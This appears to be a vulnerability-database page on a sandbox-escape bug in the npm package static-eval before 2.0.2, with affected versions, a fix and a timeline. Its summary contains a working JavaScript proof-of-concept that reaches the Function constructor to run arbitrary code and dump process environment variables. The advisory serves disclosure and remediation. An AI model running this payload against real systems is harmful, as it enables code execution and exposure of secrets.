Read the docs
TI-2020-19496 Aliases GHSA-x9hc-rw35-f44h

Sandbox Breakout / Arbitrary Code Execution in static-eval

Priority LOW 38CWE-94Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Code execution
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-94.

Summary

Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. ## Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ``` ## Recommendation Upgrade to version 2.0.2 or later.

Why it matters now

Fix Fixed static-eval (npm): 2.0.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—static-eval (npm)before 2.0.22.0.2Patch availableGHSA-x9hc-rw35-f44h
  • static-eval (npm) Vendor— Affected before 2.0.2 Fixed in 2.0.2 Patch available GHSA-x9hc-rw35-f44h

Remediation

  • Fix · GHSA-x9hc-rw35-f44h static-eval (npm) Fixed in 2.0.2 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-x9hc-rw35-f44h

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences